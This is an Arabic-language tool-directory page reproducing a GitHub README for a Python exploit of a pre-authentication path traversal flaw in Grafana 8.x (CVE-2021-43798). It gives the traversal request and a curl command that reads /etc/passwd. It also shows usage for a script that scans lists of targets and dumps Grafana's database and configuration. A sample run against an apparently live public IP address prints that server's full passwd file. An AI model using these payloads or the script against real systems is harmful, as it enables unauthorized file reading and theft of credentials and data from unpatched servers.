Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-43799 — كود استغلال بلغة بايثون | Kitploit
أدوات/GitHubGitHub/scopion/cve-2021-43799
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالتعلم والتعليم
GitHubscopion/cve-2021-43799

CVE-2021-43799

كود استغلال بلغة بايثون

عرض المستودع
121منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-43798

Grafana 8.x اجتياز المسار (قبل المصادقة) جميع الفضل يعود لـ j0v وتغريدته https://twitter.com/j0v0x0/status/1466845212626542607

إخلاء مسؤولية

هذا لأغراض تعليمية فقط. أنا لست مسؤولاً عن أفعالك. استخدمه على مسؤوليتك الخاصة. بحسن نية، قمت بتأجيل إصدار هذا الإثبات المفاهيمي حتى إما أن تصبح هذه الثغرة عامة أو يتوفر تصحيح.

جدول المحتويات

  • شرح - شرح الثغرة
  • نواقل الهجوم - قائمة الهجمات التي يمكنك تنفيذها
  • سكريبت الاستغلال - استخدام سكريبت الاستغلال

شرح

لاحظت تغريدة من j0v يدعي فيها العثور على ثغرة اجتياز مسار في Grafana. بدافع الفضول، بدأت في النظر إلى الكود المصدري لـ Grafana. في التغريدة، ذُكر أنها ثغرة قبل المصادقة. هناك عدد قليل من نقاط النهاية العامة لواجهة API في Grafana، وواحدة فقط منها كانت تأخذ مسار ملف من المستخدم. لدى Grafana نقطة نهاية عامة لواجهة API، /public/plugins/:pluginId، والتي تتيح لك عرض أصول إضافة (plugin). يعمل ذلك من خلال توفير :pluginId صالح ثم تحديد مسار الملف، مثل img/logo.png. ومع ذلك، تفشل Grafana في تعقيم مسار الملف المقدم من المستخدم، مما يؤدي إلى اجتياز المسار. المجلد الذي يتم الوصول إليه هو <grafana>/public/app/plugins/panel/<pluginId>. في تثبيت Grafana القياسي، مجلد بيانات Grafana هو /usr/share/grafana. لذلك بالعودة 8 مجلدات، يمكنك الوصول إلى جذر نظام الملفات. طلب HTTP:

GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

الكود المخالف: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284 ملاحظة: هذا لا يعمل في المتصفح (الذي يقوم تلقائياً بطي ../ في المسار) يمكن اختباره باستخدام curl مع الوسيط --path-as-is:

curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

المساعدة:

usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -l INPUT_LIST, --list INPUT_LIST
                        Input list of ip:port
  -db, --database       Dump db
  -cfg, --config        Dump config
  -c, --check           Enable output regex checking (Suppress false positives)
  -t TARGET, --target TARGET
                        Single target
  -f TARGET_FILE, --file TARGET_FILE
                        Remote target file
  -w WRITE_FILE, --write WRITE_FILE
                        Directory to write files to.
  -v, --verbosity       Verbosity

الحصول على ملف:

./exploit.py -f /etc/passwd -l targets.list

تفريغ قاعدة البيانات:

./exploit.py -f /etc/passwd -l targets.list -db

تفريغ الإعدادات:

./exploit.py -f /etc/passwd -l targets.list -cfg

خيارات أخرى:

طباعة الملفات الصالحة فقط:

python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin

كتابة الملف إلى مجلد الملفات:

python3 exploit2.py -t http://50.17.123.83:3000 -c -w files
تنزيل الأداة